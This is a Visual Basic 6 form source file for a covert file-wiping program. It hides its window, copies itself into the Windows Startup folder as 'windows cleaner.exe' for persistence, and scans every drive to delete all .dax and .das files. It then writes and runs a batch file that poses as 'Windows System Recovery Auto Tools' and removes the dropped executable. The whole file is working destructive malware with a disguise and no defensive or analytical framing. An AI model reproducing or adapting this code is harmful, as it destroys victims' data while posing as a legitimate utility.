VERSION 5.00 Begin VB.Form Form1 Caption = "Form1" ClientHeight = 4890 ClientLeft = 60 ClientTop = 450 ClientWidth = 7200 LinkTopic = "Form1" ScaleHeight = 4890 ScaleWidth = 7200 ShowInTaskbar = 0 'False StartUpPosition = 3 'Windows Default Begin VB.DriveListBox Drive1 Height = 315 Left = 120 TabIndex = 1 Top = 2880 Width = 855 End Begin VB.ListBox List1 BeginProperty Font Name = "Arial" Size = 9.75 Charset = 178 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 5340 Left = 2880 Sorted = -1 'True TabIndex = 0 Top = 240 Width = 3975 End Begin VB.Timer Timer1 Interval = 3000 Left = 1440 Top = 1920 End End Attribute VB_Name = "Form1" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long Private Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long Const MAX_PATH = 260 Const MAXDWORD = &HFFFF Const INVALID_HANDLE_VALUE = -1 Const FILE_ATTRIBUTE_ARCHIVE = &H20 Const FILE_ATTRIBUTE_DIRECTORY = &H10 Const FILE_ATTRIBUTE_HIDDEN = &H2 Const FILE_ATTRIBUTE_NORMAL = &H80 Const FILE_ATTRIBUTE_READONLY = &H1 Const FILE_ATTRIBUTE_SYSTEM = &H4 Const FILE_ATTRIBUTE_TEMPORARY = &H100 Private Type FILETIME dwLowDateTime As Long dwHighDateTime As Long End Type Private Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As FILETIME ftLastAccessTime As FILETIME ftLastWriteTime As FILETIME nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long cFileName As String * MAX_PATH cAlternate As String * 14 End Type Function StripNulls(OriginalStr As String) As String If (InStr(OriginalStr, Chr(0)) > 0) Then OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1) End If StripNulls = OriginalStr End Function Function FindFilesAPI(path As String, SearchStr As String, FileCount As Integer, DirCount As Integer) 'On Error Resume Next Dim FileName As String ' Walking filename variable... Dim DirName As String ' SubDirectory Name Dim dirNames() As String ' Buffer for directory name entries Dim nDir As Integer ' Number of directories in this path Dim I As Integer ' For-loop counter... Dim hSearch As Long ' Search Handle Dim WFD As WIN32_FIND_DATA Dim Cont As Integer If Right(path, 1) <> "\" Then path = path & "\" ' Search for subdirectories. nDir = 0 ReDim dirNames(nDir) Cont = True hSearch = FindFirstFile(path & "*", WFD) If hSearch <> INVALID_HANDLE_VALUE Then Do While Cont DirName = StripNulls(WFD.cFileName) ' Ignore the current and encompassing directories. If (DirName <> ".") And (DirName <> "..") Then ' Check for directory with bitwise comparison. If GetFileAttributes(path & DirName) And FILE_ATTRIBUTE_DIRECTORY Then dirNames(nDir) = DirName DirCount = DirCount + 1 nDir = nDir + 1 ReDim Preserve dirNames(nDir) End If End If Cont = FindNextFile(hSearch, WFD) 'Get next subdirectory. Loop Cont = FindClose(hSearch) End If ' Walk through this directory and sum file sizes. hSearch = FindFirstFile(path & SearchStr, WFD) Cont = True If hSearch <> INVALID_HANDLE_VALUE Then While Cont FileName = StripNulls(WFD.cFileName) If (FileName <> ".") And (FileName <> "..") Then FindFilesAPI = FindFilesAPI + (WFD.nFileSizeHigh * MAXDWORD) + WFD.nFileSizeLow FileCount = FileCount + 1 List1.AddItem (path & FileName) End If Cont = FindNextFile(hSearch, WFD) ' Get next file Wend Cont = FindClose(hSearch) End If ' If there are sub-directories... If nDir > 0 Then ' Recursively walk into them... For I = 0 To nDir - 1 FindFilesAPI = FindFilesAPI + FindFilesAPI(path & dirNames(I) & "\", SearchStr, FileCount, DirCount) Next I End If End Function Private Sub Form_Load() On Error Resume Next App.TaskVisible = False Me.Visible = False s = App.path & "\" & App.EXEName & ".exe" s = Replace(s, "\\", "\") If (Dir("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\windows cleaner.exe") = "") Then FileCopy s, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\windows cleaner.exe" End If Drive1.Drive = "C:\" End Sub Private Sub Timer1_Timer() On Error Resume Next Dim gh, sf As Integer sf = 0 gh = 0 Dim SearchPath As String, FindStr As String Dim FileSize As Long Dim NumFiles As Integer, NumDirs As Integer 'Screen.MousePointer = vbHourglass List1.Clear SearchPath = Mid(Drive1.Drive, 1, 1) & ":" & "\" FindStr = "*.*" FileSize = FindFilesAPI(SearchPath, FindStr, NumFiles, NumDirs) For g = 0 To List1.ListCount - 1 If List1.List(g) Like "*.dax" Or List1.List(g) Like "*.das" Then Kill (List1.List(g)) End If Next If Drive1.ListIndex < Drive1.ListCount - 2 Then Drive1.ListIndex = Drive1.ListIndex + 1 Else Open "system recovery.bat" For Output As #1 Print #1, "Echo OFF" Print #1, "CLS" Print #1, "Echo Windows System Recovery Auto Tools 1.0" Print #1, "pause" Print #1, "del windows cleaner.exe" Close Shell "system recovery.bat" End End If Timer1.Interval = 10000 End Sub